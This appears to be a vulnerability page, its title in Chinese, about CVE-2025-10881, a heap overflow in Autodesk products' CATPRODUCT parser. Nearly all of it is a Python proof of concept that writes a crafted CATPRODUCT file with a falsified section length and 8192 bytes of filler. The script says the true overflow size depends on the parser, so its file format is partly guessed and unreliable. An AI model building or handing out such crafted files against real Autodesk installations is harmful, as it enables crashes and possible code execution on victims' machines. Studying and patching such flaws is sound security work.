CVE-2025-10881: Autodesk产品CATPRODUCT文件堆溢出高危漏洞

#!/usr/bin/env python3 # CVE-2025-10881 PoC - Malicious CATPRODUCT File Generator # This PoC demonstrates the heap overflow vulnerability in Autodesk products # when parsing maliciously crafted CATPRODUCT files import struct import sys def create_malicious_catproduct(): """ Generate a malicious CATPRODUCT file that triggers heap overflow """ # CATPRODUCT file header header = b'CATProduct\x00' # File signature # Version information version = b'V5\x00' # Malicious payload - oversized data to trigger heap overflow # The exact overflow size depends on the vulnerable parser implementation overflow_size = 8192 # Large buffer overflow overflow_data = b'A' * overflow_size # Crafted data structure that exploits the parsing logic # This structure mimics valid CATPRODUCT format but contains overflow trigger crafted_section = struct.pack('<I', 0x00000001) # Section type crafted_section += struct.pack('<I', overflow_size + 256) # Malicious length crafted_section += overflow_data # Additional padding to ensure overflow occurs padding = b'\x00' * 256 # Build the malicious file malicious_file = header + version + crafted_section + padding return malicious_file def main(): print("[*] CVE-2025-10881 PoC Generator") print("[*] Target: Autodesk Products (CATPRODUCT Parser)") print("[*] Vulnerability: Heap-Based Buffer Overflow") # Generate malicious CATPRODUCT file malicious_data = create_malicious_catproduct() # Write to file output_file = 'CVE-2025-10881_malicious.CATPRODUCT' with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious CATPRODUCT file created: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print("\n[!] This PoC is for educational and security research purposes only.") print("[!] Do not use for malicious activities.") if __name__ == '__main__': main()